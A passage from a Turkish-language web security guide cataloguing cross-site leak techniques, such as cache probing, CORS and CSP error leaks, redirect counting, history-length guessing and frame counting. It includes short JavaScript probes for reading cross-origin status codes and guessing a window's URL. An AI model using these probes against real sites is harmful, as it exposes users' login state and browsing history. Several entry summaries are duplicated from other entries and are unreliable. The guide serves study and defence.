- Daha fazla bilgi: https://xsinator.com/paper.pdf (5.2)
- Özet: Yönlendirme gerçekleştiğinde zamanlama girişlerinin süresi negatiftir.
- Kod Örneği: https://xsinator.com/testing.html#Duration%20Redirect%20Leak
GC'de, yönlendirme ile sonuçlanan isteklerin süresi negatif olup, bu nedenle yönlendirme ile sonuçlanmayan isteklerden ayrılabilir.
CORP Sızıntısı
- Dahil Etme Yöntemleri: Frames
- Tespit Edilebilir Fark: Başlık
- Daha fazla bilgi: https://xsinator.com/paper.pdf (5.2)
- Özet: CORP ile korunan kaynaklar, kaynak zamanlama girişleri oluşturmaz.
- Kod Örneği: https://xsinator.com/testing.html#Performance%20API%20CORP%20Leak
Bazı durumlarda, nextHopProtocol girişi bir sızıntı tekniği olarak kullanılabilir. GC'de, CORP başlığı ayarlandığında, nextHopProtocol boş olacaktır. Not edin ki, SA, CORP etkin kaynaklar için hiç performans girişi oluşturmayacaktır.
Servis Çalışanı
- Dahil Etme Yöntemleri: Frames
- Tespit Edilebilir Fark: API Kullanımı
- Daha fazla bilgi: https://www.ndss-symposium.org/ndss-paper/awakening-the-webs-sleeper-agents-misusing-service-workers-for-privacy-leakage/
- Özet: Belirli bir köken için bir servis çalışanın kaydedilip kaydedilmediğini tespit edin.
- Kod Örneği:
Servis çalışanları, bir kökende çalışan olay odaklı betik bağlamlarıdır. Bir web sayfasının arka planında çalışır ve kaynakları yakalamak, değiştirmek ve önbelleğe almak için kullanılabilir, böylece çevrimdışı web uygulamaları oluşturur.
Eğer bir servis çalışanı tarafından önbelleğe alınmış bir kaynak iframe aracılığıyla erişilirse, kaynak servis çalışanı önbelleğinden yüklenir.
Kaynağın servis çalışanı önbelleğinden yüklenip yüklenmediğini tespit etmek için Performans API'si kullanılabilir.
Bu, bir Zamanlama saldırısı ile de yapılabilir (daha fazla bilgi için belgeyi kontrol edin).
Önbellek
- Dahil Etme Yöntemleri: Fetch API
- Tespit Edilebilir Fark: Zamanlama
- Daha fazla bilgi: https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources
- Özet: Bir kaynağın önbelleğe alınıp alınmadığını kontrol etmek mümkündür.
- Kod Örneği: https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources, https://xsinator.com/testing.html#Cache%20Leak%20(POST)
Performans API'si kullanarak bir kaynağın önbelleğe alınıp alınmadığını kontrol etmek mümkündür.
Ağ Süresi
- Dahil Etme Yöntemleri: Fetch API
- Tespit Edilebilir Fark: Sayfa İçeriği
- Daha fazla bilgi: https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#network-duration
- Özet:
performans
API'sinden bir isteğin ağ süresini almak mümkündür. - Kod Örneği: https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#network-duration
Hata Mesajları Tekniği
Medya Hatası
- Dahil Etme Yöntemleri: HTML Elemanları (Video, Ses)
- Tespit Edilebilir Fark: Durum Kodu
- Daha fazla bilgi: https://bugs.chromium.org/p/chromium/issues/detail?id=828265
- Özet: Firefox'ta, çapraz kaynaklı bir isteğin durum kodunu doğru bir şekilde sızdırmak mümkündür.
- Kod Örneği: https://jsbin.com/nejatopusi/1/edit?html,css,js,output
// Code saved here in case it dissapear from the link
// Based on MDN MediaError example: https://mdn.github.io/dom-examples/media/mediaerror/
window.addEventListener("load", startup, false)
function displayErrorMessage(msg) {
document.getElementById("log").innerHTML += msg
}
function startup() {
let audioElement = document.getElementById("audio")
// "https://mdn.github.io/dom-examples/media/mediaerror/assets/good.mp3";
document.getElementById("startTest").addEventListener(
"click",
function () {
audioElement.src = document.getElementById("testUrl").value
},
false
)
// Create the event handler
var errHandler = function () {
let err = this.error
let message = err.message
let status = ""
// Chrome error.message when the request loads successfully: "DEMUXER_ERROR_COULD_NOT_OPEN: FFmpegDemuxer: open context failed"
// Firefox error.message when the request loads successfully: "Failed to init decoder"
if (
message.indexOf("DEMUXER_ERROR_COULD_NOT_OPEN") != -1 ||
message.indexOf("Failed to init decoder") != -1
) {
status = "Success"
} else {
status = "Error"
}
displayErrorMessage(
"<strong>Status: " +
status +
"</strong> (Error code:" +
err.code +
" / Error Message: " +
err.message +
")<br>"
)
}
audioElement.onerror = errHandler
}
MediaError
arayüzünün message özelliği, başarılı bir şekilde yüklenen kaynakları benzersiz bir dize ile tanımlar. Bir saldırgan, bu özelliği kullanarak mesaj içeriğini gözlemleyebilir ve böylece bir çapraz kaynak kaynağının yanıt durumunu çıkarabilir.
CORS Hatası
- Dahil Etme Yöntemleri: Fetch API
- Tespit Edilebilir Fark: Header
- Daha fazla bilgi: https://xsinator.com/paper.pdf (5.3)
- Özet: Güvenlik İddialarında (SA), CORS hata mesajları, yönlendirilmiş isteklerin tam URL'sini istemeden açığa çıkarır.
- Kod Örneği: https://xsinator.com/testing.html#CORS%20Error%20Leak
Bu teknik, bir saldırgana bir çapraz kaynak sitesinin yönlendirmesinin hedefini çıkarmasını sağlar; çünkü Webkit tabanlı tarayıcıların CORS isteklerini nasıl işlediğini kullanır. Özellikle, bir CORS etkin isteği, kullanıcı durumuna dayalı olarak yönlendirme yapan bir hedef siteye gönderildiğinde ve tarayıcı isteği reddettiğinde, yönlendirmenin hedefinin tam URL'si hata mesajında açığa çıkar. Bu güvenlik açığı, yönlendirmenin varlığını açığa çıkarmakla kalmaz, aynı zamanda yönlendirmenin uç noktasını ve içerebileceği herhangi bir hassas sorgu parametresini de açığa çıkarır.
SRI Hatası
- Dahil Etme Yöntemleri: Fetch API
- Tespit Edilebilir Fark: Header
- Daha fazla bilgi: https://xsinator.com/paper.pdf (5.3)
- Özet: Güvenlik İddialarında (SA), CORS hata mesajları, yönlendirilmiş isteklerin tam URL'sini istemeden açığa çıkarır.
- Kod Örneği: https://xsinator.com/testing.html#SRI%20Error%20Leak
Bir saldırgan, açık hata mesajlarını kullanarak çapraz kaynak yanıtlarının boyutunu çıkarabilir. Bu, genellikle CDN'lerden alınan kaynakların değiştirilmediğini doğrulamak için bütünlük niteliğini kullanan Alt Kaynak Bütünlüğü (SRI) mekanizmasından kaynaklanmaktadır. SRI'nin çapraz kaynak kaynaklarında çalışabilmesi için, bunların CORS etkin olması gerekir; aksi takdirde bütünlük kontrollerine tabi tutulmazlar. Güvenlik İddialarında (SA), CORS hata XS-Leak gibi, bir bütünlük niteliği ile yapılan bir fetch isteği başarısız olduğunda bir hata mesajı yakalanabilir. Saldırganlar, herhangi bir isteğin bütünlük niteliğine sahtelik hash değeri atayarak bu hatayı kasıtlı olarak tetikleyebilirler. SA'da, ortaya çıkan hata mesajı, istenen kaynağın içerik uzunluğunu istemeden açığa çıkarır. Bu bilgi sızıntısı, bir saldırgana yanıt boyutundaki değişiklikleri ayırt etme imkanı tanır ve karmaşık XS-Leak saldırılarına zemin hazırlar.
CSP İhlali/Tespiti
- Dahil Etme Yöntemleri: Pop-up'lar
- Tespit Edilebilir Fark: Durum Kodu
- Daha fazla bilgi: https://bugs.chromium.org/p/chromium/issues/detail?id=313737, https://lists.w3.org/Archives/Public/public-webappsec/2013May/0022.html, https://xsleaks.dev/docs/attacks/navigations/#cross-origin-redirects
- Özet: Eğer yalnızca kurbanın web sitesi CSP'de izin verilirse ve farklı bir alan adına yönlendirmeye çalışırsa, CSP tespit edilebilir bir hata tetikler.
- Kod Örneği: https://xsinator.com/testing.html#CSP%20Violation%20Leak, https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#intended-solution-csp-violation
Bir XS-Leak, CSP'yi kullanarak bir çapraz kaynak sitenin farklı bir kaynağa yönlendirilip yönlendirilmediğini tespit edebilir. Bu sızıntı, yönlendirmeyi tespit edebilir, ayrıca yönlendirme hedefinin alan adını da açığa çıkarır. Bu saldırının temel fikri, saldırgan sitesinde hedef alan adını izin vermektir. Hedef alana bir istek yapıldığında, çapraz kaynak bir alana yönlendirir. CSP, buna erişimi engeller ve bir ihlal raporu oluşturur; bu rapor bir sızıntı tekniği olarak kullanılır. Tarayıcıya bağlı olarak, bu rapor yönlendirmenin hedef konumunu sızdırabilir.
Modern tarayıcılar, yönlendirildiği URL'yi belirtmeyecek, ancak yine de bir çapraz kaynak yönlendirmesinin tetiklendiğini tespit edebilirsiniz.
Önbellek
- Dahil Etme Yöntemleri: Çerçeveler, Pop-up'lar
- Tespit Edilebilir Fark: Sayfa İçeriği
- Daha fazla bilgi: https://xsleaks.dev/docs/attacks/cache-probing/#cache-probing-with-error-events, https://sirdarckcat.blogspot.com/2019/03/http-cache-cross-site-leaks.html
- Özet: Dosyayı önbellekten temizleyin. Hedef sayfayı açar, dosyanın önbellekte mevcut olup olmadığını kontrol eder.
- Kod Örneği:
Tarayıcılar, tüm web siteleri için tek bir paylaşılan önbellek kullanabilir. Kaynağın kökenine bakılmaksızın, bir hedef sayfanın belirli bir dosyayı talep edip etmediğini çıkarmak mümkündür.
Eğer bir sayfa, yalnızca kullanıcı giriş yaptığında bir resmi yüklüyorsa, kaynağı geçersiz kılabilir (artık önbelleğe alınmadıysa, daha fazla bilgi bağlantılarına bakın), o kaynağı yükleyebilecek bir istek yapabilir ve kaynağı kötü bir istekle yüklemeyi deneyebilirsiniz (örneğin, aşırı uzun bir referans başlığı kullanarak). Eğer kaynak yüklemesi herhangi bir hata tetiklemediyse, bunun nedeni önbelleğe alınmış olmasıdır.
CSP Yönergesi
- Dahil Etme Yöntemleri: Çerçeveler
- Tespit Edilebilir Fark: Header
- Daha fazla bilgi: https://bugs.chromium.org/p/chromium/issues/detail?id=1105875
- Özet: CSP başlık yönergeleri, CSP iframe niteliği kullanılarak sorgulanabilir ve politika detaylarını açığa çıkarır.
- Kod Örneği: https://xsinator.com/testing.html#CSP%20Directive%20Leak
Google Chrome'daki (GC) yeni bir özellik, web sayfalarının bir iframe öğesine bir nitelik ayarlayarak bir İçerik Güvenlik Politikası (CSP) önermesine olanak tanır; politika yönergeleri HTTP isteği ile birlikte iletilir. Normalde, gömülü içeriğin bunu bir HTTP başlığı aracılığıyla yetkilendirmesi gerekir, aksi takdirde bir hata sayfası görüntülenir. Ancak, eğer iframe zaten bir CSP tarafından yönetiliyorsa ve yeni önerilen politika daha kısıtlayıcı değilse, sayfa normal şekilde yüklenir. Bu mekanizma, bir saldırgana, hata sayfasını tanımlayarak bir çapraz kaynak sayfanın belirli CSP yönergelerini tespit etme yolu açar. Bu güvenlik açığı kapatılmış olarak işaretlenmiş olsa da, bulgularımız, hata sayfasını tespit edebilen yeni bir sızıntı tekniği ortaya koymaktadır; bu, temel sorunun asla tam olarak ele alınmadığını göstermektedir.
CORP
- Dahil Etme Yöntemleri: Fetch API
- Tespit Edilebilir Fark: Header
- Daha fazla bilgi: https://xsleaks.dev/docs/attacks/browser-features/corp/
- Özet: Cross-Origin Resource Policy (CORP) ile güvence altına alınmış kaynaklar, izin verilmeyen bir kökenden alındığında hata verir.
- Kod Örneği: https://xsinator.com/testing.html#CORP%20Leak
CORP başlığı, belirli bir kaynağa yönelik no-cors çapraz kaynak isteklerini engelleyen nispeten yeni bir web platformu güvenlik özelliğidir. CORP ile korunan bir kaynak, alındığında hata verir; bu nedenle başlığın varlığı tespit edilebilir.
CORB
- Dahil Etme Yöntemleri: HTML Elemanları
- Tespit Edilebilir Fark: Header
- Daha fazla bilgi: https://xsleaks.dev/docs/attacks/browser-features/corb/#detecting-the-nosniff-header
- Özet: CORB, saldırganların istekte
nosniff
başlığının mevcut olup olmadığını tespit etmelerine olanak tanıyabilir. - Kod Örneği: https://xsinator.com/testing.html#CORB%20Leak
Saldırı hakkında daha fazla bilgi için bağlantıyı kontrol edin.
Köken Yansıması Yanlış Yapılandırması Üzerinde CORS Hatası
- Dahil Etme Yöntemleri: Fetch API
- Tespit Edilebilir Fark: Header
- Daha fazla bilgi: https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration
- Özet: Eğer Origin başlığı
Access-Control-Allow-Origin
başlığında yansıtılıyorsa, bir kaynağın önbellekte zaten mevcut olup olmadığını kontrol etmek mümkündür. - Kod Örneği: https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration
Eğer Origin başlığı, Access-Control-Allow-Origin
başlığında yansıtılıyorsa, bir saldırgan bu davranışı kötüye kullanarak CORS modunda kaynağı almaya çalışabilir. Eğer bir hata tetiklenmezse, bu, kaynağın web'den doğru bir şekilde alındığı anlamına gelir; eğer bir hata tetiklenirse, bunun nedeni önbellekten erişilmiş olmasıdır (hata, önbelleğin orijinal alan adına izin veren bir CORS başlığı ile bir yanıt kaydetmesi nedeniyle ortaya çıkar).
Eğer köken yansıtılmıyorsa ancak bir joker karakter kullanılıyorsa (Access-Control-Allow-Origin: *
), bu çalışmayacaktır.
Okunabilir Nitelikler Tekniği
Fetch Yönlendirmesi
- Dahil Etme Yöntemleri: Fetch API
- Tespit Edilebilir Fark: Durum Kodu
- Daha fazla bilgi: https://web-in-security.blogspot.com/2021/02/security-and-privacy-of-social-logins-part3.html
- Özet: GC ve SA, yönlendirme tamamlandıktan sonra yanıtın türünü (opaque-redirect) kontrol etmeye olanak tanır.
- Kod Örneği: https://xsinator.com/testing.html#Fetch%20Redirect%20Leak
redirect: "manual"
ve diğer parametrelerle Fetch API kullanarak bir istek gönderildiğinde, response.type
niteliğini okumak mümkündür ve eğer opaqueredirect
ile eşitse, yanıt bir yönlendirme olmuştur.
COOP
- Dahil Etme Yöntemleri: Pop-up'lar
- Tespit Edilebilir Fark: Header
- Daha fazla bilgi: https://xsinator.com/paper.pdf (5.4), https://xsleaks.dev/docs/attacks/window-references/
- Özet: Cross-Origin Opener Policy (COOP) ile korunan sayfalar, çapraz kaynak etkileşimlerinden erişimi engeller.
- Kod Örneği: https://xsinator.com/testing.html#COOP%20Leak
Bir saldırgan, bir çapraz kaynak HTTP yanıtında Cross-Origin Opener Policy (COOP) başlığının varlığını çıkarabilir. COOP, web uygulamaları tarafından dış sitelerin rastgele pencere referansları elde etmesini engellemek için kullanılır. Bu başlığın görünürlüğü, contentWindow
referansına erişmeye çalışarak tespit edilebilir. COOP koşullu olarak uygulandığında, opener
niteliği belirleyici bir gösterge haline gelir: COOP aktif olduğunda tanımsızdır, yokluğunda ise tanımlıdır.
URL Maksimum Uzunluğu - Sunucu Tarafı
- Dahil Etme Yöntemleri: Fetch API, HTML Elemanları
- Tespit Edilebilir Fark: Durum Kodu / İçerik
- Daha fazla bilgi: https://xsleaks.dev/docs/attacks/navigations/#server-side-redirects
- Özet: Yönlendirme yanıt uzunluğundaki farklılıkları tespit edin, çünkü bu uzunluk sunucunun bir hata ile yanıt vermesine neden olabilir ve bir uyarı oluşturulabilir.
- Kod Örneği: https://xsinator.com/testing.html#URL%20Max%20Length%20Leak
Eğer bir sunucu tarafı yönlendirmesi yönlendirme içinde kullanıcı girdisi ve ek veri kullanıyorsa, bu davranışı tespit etmek mümkündür çünkü genellikle sunucuların istek uzunluğu sınırı vardır. Eğer kullanıcı verisi o uzunluk - 1 ise, çünkü yönlendirme o veriyi kullanıyor ve ek bir şey ekliyorsa, bu bir hata tetikler ve Hata Olayları aracılığıyla tespit edilebilir.
Eğer bir şekilde kullanıcılara çerez ayarlayabiliyorsanız, bu saldırıyı yeterince çerez ayarlayarak da gerçekleştirebilirsiniz (çerez bombası) böylece doğru yanıtın artmış boyutu bir hata tetikler. Bu durumda, bu isteği aynı siteden tetiklediğinizde, <script>
otomatik olarak çerezleri gönderecektir (bu nedenle hataları kontrol edebilirsiniz).
Çerez bombası + XS-Search örneği, bu yazının Beklenen çözümünde bulunabilir: https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended
SameSite=None
veya aynı bağlamda olmak genellikle bu tür bir saldırı için gereklidir.
URL Maksimum Uzunluğu - İstemci Tarafı
- Dahil Etme Yöntemleri: Pop-up'lar
- Tespit Edilebilir Fark: Durum Kodu / İçerik
- Daha fazla bilgi: https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit
- Özet: Yönlendirme yanıt uzunluğundaki farklılıkları tespit edin, çünkü bu uzunluk bir istekte çok büyük olabilir ve bir fark fark edilebilir.
- Kod Örneği: https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit
Chromium belgelerine göre, Chrome'un maksimum URL uzunluğu 2MB'dır.
Genel olarak, web platformu URL'lerin uzunluğu üzerinde sınırlara sahip değildir (ancak 2^31 yaygın bir sınırdır). Chrome, pratik nedenlerle ve süreçler arası iletişimde hizmet reddi sorunlarını önlemek için URL'leri maksimum 2MB ile sınırlar.
Bu nedenle, eğer yönlendirme URL'si bir durumda daha büyükse, 2MB'dan daha büyük bir URL ile yönlendirme yapılması mümkündür. Bu gerçekleştiğinde, Chrome about:blank#blocked
sayfasını gösterir.
Fark edilebilir fark, eğer yönlendirme tamamlandıysa, window.origin
bir hata fırlatır çünkü bir çapraz köken bu bilgiyi erişemez. Ancak, eğer sınır aşıldıysa ve yüklenen sayfa about:blank#blocked
ise, pencerenin origin
değeri ebeveynin değeri olarak kalır, bu da erişilebilir bir bilgidir.
2MB'ye ulaşmak için gereken tüm ek bilgiler, başlangıç URL'sinde bir hash aracılığıyla eklenebilir, böylece yönlendirmede kullanılacaktır.
Maksimum Yönlendirmeler
- Dahil Etme Yöntemleri: Fetch API, Çerçeveler
- Tespit Edilebilir Fark: Durum Kodu
- Daha fazla bilgi: https://docs.google.com/presentation/d/1rlnxXUYHY9CHgCMckZsCGH4VopLo4DYMvAcOltma0og/edit#slide=id.g63edc858f3_0_76
- Özet: Tarayıcının yönlendirme sınırını kullanarak URL yönlendirmelerinin gerçekleşip gerçekleşmediğini belirleyin.
- Kod Örneği: https://xsinator.com/testing.html#Max%20Redirect%20Leak
Eğer bir tarayıcının takip edebileceği maksimum yönlendirme sayısı 20 ise, bir saldırgan 19 yönlendirme ile kendi sayfasını yüklemeye çalışabilir ve sonunda kurbanı test edilen sayfaya gönderebilir. Eğer bir hata tetiklenirse, bu durumda sayfa kurbanı yönlendirmeye çalışıyordur.
Geçmiş Uzunluğu
- Dahil Etme Yöntemleri: Çerçeveler, Pop-up'lar
- Tespit Edilebilir Fark: Yönlendirmeler
- Daha fazla bilgi: https://xsleaks.dev/docs/attacks/navigations/
- Özet: JavaScript kodu tarayıcı geçmişini manipüle eder ve uzunluk özelliği ile erişilebilir.
- Kod Örneği: https://xsinator.com/testing.html#History%20Length%20Leak
Geçmiş API'si, JavaScript kodunun tarayıcı geçmişini manipüle etmesine olanak tanır; bu, bir kullanıcının ziyaret ettiği sayfaları kaydeder. Bir saldırgan, uzunluk özelliğini bir dahil etme yöntemi olarak kullanabilir: JavaScript ve HTML navigasyonunu tespit etmek için.
history.length
kontrol edilerek, bir kullanıcı bir sayfaya geçiş yaptığında, aynı kökene geri döndüğünde ve history.length
değerinin yeni değerini kontrol ettiğinde.
Aynı URL ile Geçmiş Uzunluğu
- Dahil Etme Yöntemleri: Çerçeveler, Pop-up'lar
- Tespit Edilebilir Fark: Eğer URL tahmin edilenle aynıysa
- Özet: Geçmiş uzunluğunu kötüye kullanarak bir çerçeve/pop-up'ın belirli bir URL'de olup olmadığını tahmin etmek mümkündür.
- Kod Örneği: Aşağıda
Bir saldırgan, JavaScript kodunu kullanarak çerçeve/pop-up konumunu tahmin edilen bir URL'ye manipüle edebilir ve hemen ardından about:blank
'e değiştirebilir. Eğer geçmiş uzunluğu arttıysa, bu, URL'nin doğru olduğu ve artış için zaman bulduğu anlamına gelir; çünkü URL aynıysa yeniden yüklenmez. Eğer artmadıysa, bu, tahmin edilen URL'yi yüklemeye çalıştığı anlamına gelir, ancak hemen ardından about:blank
'i yüklediğimiz için, geçmiş uzunluğu tahmin edilen URL'yi yüklerken asla artmamıştır.
async function debug(win, url) {
win.location = url + "#aaa"
win.location = "about:blank"
await new Promise((r) => setTimeout(r, 500))
return win.history.length
}
win = window.open("https://example.com/?a=b")
await new Promise((r) => setTimeout(r, 2000))
console.log(await debug(win, "https://example.com/?a=c"))
win.close()
win = window.open("https://example.com/?a=b")
await new Promise((r) => setTimeout(r, 2000))
console.log(await debug(win, "https://example.com/?a=b"))
Frame Counting
- Inclusion Methods: Frames, Pop-ups
- Detectable Difference: Sayfa İçeriği
- More info: https://xsleaks.dev/docs/attacks/frame-counting/
- Summary:
window.length
özelliğini inceleyerek iframe öğelerinin miktarını değerlendirin. - Code Example: https://xsinator.com/testing.html#Frame%20Count%20Leak
Bir web sayfasında iframe
veya window.open
ile açılan çerçeve sayısını saymak, kullanıcının o sayfadaki durumunu belirlemeye yardımcı olabilir.
Ayrıca, eğer sayfada her zaman aynı sayıda çerçeve varsa, çerçeve sayısını sürekli kontrol etmek, bilgi sızdırabilecek bir deseni belirlemeye yardımcı olabilir.
Bu tekniğin bir örneği, Chrome'da bir PDF'nin çerçeve sayımı ile tespit edilebilmesidir çünkü dahili olarak bir embed
kullanılır. zoom
, view
, page
, toolbar
gibi içeriği kontrol etmeye izin veren Açık URL Parametreleri vardır; bu teknik ilginç olabilir.
HTMLElements
- Inclusion Methods: HTML Elemanları
- Detectable Difference: Sayfa İçeriği
- More info: https://xsleaks.dev/docs/attacks/element-leaks/
- Summary: İki olası durumu ayırt etmek için sızdırılan değeri okuyun.
- Code Example: https://xsleaks.dev/docs/attacks/element-leaks/, https://xsinator.com/testing.html#Media%20Dimensions%20Leak, https://xsinator.com/testing.html#Media%20Duration%20Leak
HTML elemanları aracılığıyla bilgi sızdırılması, özellikle kullanıcı bilgilerine dayalı dinamik medya dosyaları oluşturulduğunda veya medya boyutunu değiştiren filigranlar eklendiğinde web güvenliği açısından bir endişe kaynağıdır. Bu, belirli HTML elemanları tarafından açığa çıkan bilgileri analiz ederek olası durumları ayırt etmek için saldırganlar tarafından istismar edilebilir.
HTML Elemanları Tarafından Açığa Çıkan Bilgiler
- HTMLMediaElement: Bu eleman, medyanın
duration
vebuffered
sürelerini açığa çıkarır; bunlara API'si aracılığıyla erişilebilir. HTMLMediaElement hakkında daha fazla bilgi edinin - HTMLVideoElement:
videoHeight
vevideoWidth
değerlerini açığa çıkarır. Bazı tarayıcılarda,webkitVideoDecodedByteCount
,webkitAudioDecodedByteCount
vewebkitDecodedFrameCount
gibi ek özellikler mevcuttur; bu da medya içeriği hakkında daha derinlemesine bilgi sunar. HTMLVideoElement hakkında daha fazla bilgi edinin - getVideoPlaybackQuality(): Bu fonksiyon, video oynatma kalitesi hakkında bilgiler sağlar;
totalVideoFrames
gibi, işlenen video verisinin miktarını gösterebilir. getVideoPlaybackQuality() hakkında daha fazla bilgi edinin - HTMLImageElement: Bu eleman, bir resmin
height
vewidth
değerlerini sızdırır. Ancak, bir resim geçersizse, bu özellikler 0 dönecek veimage.decode()
fonksiyonu reddedilecektir; bu da resmin düzgün bir şekilde yüklenmediğini gösterir. HTMLImageElement hakkında daha fazla bilgi edinin
CSS Özelliği
- Inclusion Methods: HTML Elemanları
- Detectable Difference: Sayfa İçeriği
- More info: https://xsleaks.dev/docs/attacks/element-leaks/#abusing-getcomputedstyle, https://scarybeastsecurity.blogspot.com/2008/08/cross-domain-leaks-of-site-logins.html
- Summary: Kullanıcının durumu veya statüsü ile ilişkili web sitesi stilindeki değişiklikleri tanımlayın.
- Code Example: https://xsinator.com/testing.html#CSS%20Property%20Leak
Web uygulamaları, kullanıcının durumuna bağlı olarak web sitesi stilini değiştirebilir. Saldırgan sayfasında HTML bağlantı elemanı ile çapraz kökenli CSS dosyaları gömülebilir ve kurallar saldırgan sayfasına uygulanır. Eğer bir sayfa bu kuralları dinamik olarak değiştirirse, bir saldırgan, kullanıcı durumuna bağlı olarak bu farklılıkları tespit edebilir.
Bir sızıntı tekniği olarak, saldırgan belirli bir HTML elemanının CSS özelliklerini okumak için window.getComputedStyle
yöntemini kullanabilir. Sonuç olarak, etkilenen eleman ve özellik adı biliniyorsa, saldırgan keyfi CSS özelliklerini okuyabilir.
CSS Geçmişi
- Inclusion Methods: HTML Elemanları
- Detectable Difference: Sayfa İçeriği
- More info: https://xsleaks.dev/docs/attacks/css-tricks/#retrieving-users-history
- Summary: Bir URL'ye
:visited
stilinin uygulanıp uygulanmadığını tespit edin; bu, daha önce ziyaret edildiğini gösterir. - Code Example: http://blog.bawolff.net/2021/10/write-up-pbctf-2021-vault.html
note
Bu kaynağına göre, bu başsız Chrome'da çalışmıyor.
CSS :visited
seçici, daha önce kullanıcı tarafından ziyaret edilmiş URL'leri farklı şekilde stilize etmek için kullanılır. Geçmişte, bu stil farklılıklarını belirlemek için getComputedStyle()
yöntemi kullanılabiliyordu. Ancak, modern tarayıcılar, bu yöntemin bir bağlantının durumunu açığa çıkarmasını önlemek için güvenlik önlemleri uygulamıştır. Bu önlemler, bağlantının ziyaret edilmiş gibi görünmesini sağlamak ve :visited
seçici ile uygulanabilecek stilleri kısıtlamak için her zaman hesaplanan stili döndürmeyi içerir.
Bu kısıtlamalara rağmen, bir bağlantının ziyaret edilmiş durumunu dolaylı olarak ayırt etmek mümkündür. Bir teknik, kullanıcıyı CSS'den etkilenen bir alanla etkileşime girmeye ikna etmeyi içerir; özellikle mix-blend-mode
özelliğini kullanarak. Bu özellik, öğelerin arka planlarıyla karışmasını sağlar ve kullanıcı etkileşimine bağlı olarak ziyaret edilmiş durumu açığa çıkarabilir.
Ayrıca, kullanıcı etkileşimi olmadan bağlantıların render sürelerini istismar ederek tespit sağlanabilir. Tarayıcılar, ziyaret edilmiş ve ziyaret edilmemiş bağlantıları farklı şekilde render edebileceğinden, bu render süresinde ölçülebilir bir zaman farkı ortaya çıkabilir. Bir kanıt konsepti (PoC), bu tekniği zaman farkını artırmak için birden fazla bağlantı kullanarak gösteren bir Chromium hata raporunda belirtilmiştir; böylece ziyaret edilmiş durum zaman analizi ile tespit edilebilir.
Bu özellikler ve yöntemler hakkında daha fazla bilgi için belgelerine göz atın:
:visited
: MDN BelgelerigetComputedStyle()
: MDN Belgelerimix-blend-mode
: MDN Belgeleri
ContentDocument X-Frame Leak
- Inclusion Methods: Frames
- Detectable Difference: Başlıklar
- More info: https://www.ndss-symposium.org/wp-content/uploads/2020/02/24278-paper.pdf
- Summary: Google Chrome'da, X-Frame-Options kısıtlamaları nedeniyle bir sayfanın çapraz kökenli bir sitede gömülmesi engellendiğinde özel bir hata sayfası görüntülenir.
- Code Example: https://xsinator.com/testing.html#ContentDocument%20X-Frame%20Leak
Chrome'da, X-Frame-Options
başlığı "deny" veya "same-origin" olarak ayarlanmış bir sayfa bir nesne olarak gömüldüğünde, bir hata sayfası görünür. Chrome, bu nesnenin contentDocument
özelliği için boş bir belge nesnesi (null yerine) döndürür; bu, iframe'lerde veya diğer tarayıcılarda olduğu gibi değildir. Saldırganlar, boş belgeyi tespit ederek bunu istismar edebilir ve kullanıcının durumu hakkında bilgi açığa çıkarabilir; özellikle geliştiriciler X-Frame-Options başlığını tutarsız bir şekilde ayarladıklarında, genellikle hata sayfalarını göz ardı ederler. Güvenlik başlıklarının farkında olmak ve tutarlı bir şekilde uygulanması, bu tür sızıntıları önlemek için kritik öneme sahiptir.
Download Detection
- Inclusion Methods: Frames, Pop-ups
- Detectable Difference: Başlıklar
- More info: https://xsleaks.dev/docs/attacks/navigations/#download-trigger
- Summary: Bir saldırgan, iframe'leri kullanarak dosya indirmelerini ayırt edebilir; iframe'in sürekli erişilebilirliği, dosya indirmenin başarılı olduğunu gösterir.
- Code Example: https://xsleaks.dev/docs/attacks/navigations/#download-bar
Content-Disposition
başlığı, özellikle Content-Disposition: attachment
, tarayıcıya içeriği çevrimiçi olarak görüntülemek yerine indirmesi talimatını verir. Bu davranış, bir kullanıcının dosya indirmesini tetikleyen bir sayfaya erişip erişmediğini tespit etmek için istismar edilebilir. Chromium tabanlı tarayıcılarda, bu indirme davranışını tespit etmek için birkaç teknik vardır:
- İndirme Çubuğu İzleme:
- Chromium tabanlı tarayıcılarda bir dosya indirildiğinde, tarayıcı penceresinin alt kısmında bir indirme çubuğu görünür.
- Pencere yüksekliğindeki değişiklikleri izleyerek, indirme çubuğunun görünümünü çıkarabilirler; bu, bir indirmenin başlatıldığını gösterir.
- Iframe ile İndirme Navigasyonu:
- Bir sayfa
Content-Disposition: attachment
başlığını kullanarak bir dosya indirmesini tetiklediğinde, bu bir navigasyon olayı oluşturmaz. - İçeriği bir iframe'de yükleyerek ve navigasyon olaylarını izleyerek, içerik durumunun bir dosya indirmesine neden olup olmadığını kontrol etmek mümkündür (navigasyon yok) veya olmadığını kontrol edebiliriz.
- Iframe Olmadan İndirme Navigasyonu:
- Iframe tekniğine benzer şekilde, bu yöntem bir iframe yerine
window.open
kullanmayı içerir. - Yeni açılan penceredeki navigasyon olaylarını izlemek, bir dosya indirmenin tetiklenip tetiklenmediğini (navigasyon yok) veya içeriğin çevrimiçi olarak görüntülenip görüntülenmediğini (navigasyon gerçekleşir) ortaya çıkarabilir.
Sadece giriş yapmış kullanıcıların bu tür indirmeleri tetikleyebildiği senaryolarda, bu teknikler, tarayıcının indirme isteğine yanıtına dayanarak kullanıcının kimlik doğrulama durumunu dolaylı olarak çıkarabilir.
Partitioned HTTP Cache Bypass
- Inclusion Methods: Pop-ups
- Detectable Difference: Zamanlama
- More info: https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass
- Summary: Bir saldırgan, iframe'leri kullanarak dosya indirmelerini ayırt edebilir; iframe'in sürekli erişilebilirliği, dosya indirmenin başarılı olduğunu gösterir.
- Code Example: https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass, https://gist.github.com/aszx87410/e369f595edbd0f25ada61a8eb6325722 (from https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/)
